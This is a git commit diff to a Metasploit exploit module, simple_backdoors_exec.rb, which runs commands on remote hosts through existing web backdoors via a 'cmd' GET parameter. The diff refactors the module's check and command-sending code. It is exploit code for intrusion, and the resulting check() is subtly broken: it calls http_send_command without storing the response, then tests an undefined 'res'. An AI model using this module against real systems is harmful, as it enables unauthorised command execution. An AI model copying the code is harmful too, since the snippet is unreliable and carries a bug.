Update simple_backdoors_exec.rb

Updating the code as suggested
This commit is contained in:
JT 2015-10-02 07:53:15 +08:00
parent 2de6c77fa2
commit fa1391de87
1 changed files with 3 additions and 9 deletions

View File

@ -58,14 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
test = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' =>
{
'cmd' => test
}
})
http_send_command(test)
if res && res.body =~ /#{test}/
return Exploit::CheckCode::Vulnerable
end
@ -80,9 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote
'cmd' => cmd
}
})
if !res && res.code == 200
unless res && res.code == 200
fail_with(Failure::Unknown, "Failed to execute the command.")
end
res
end
def exploit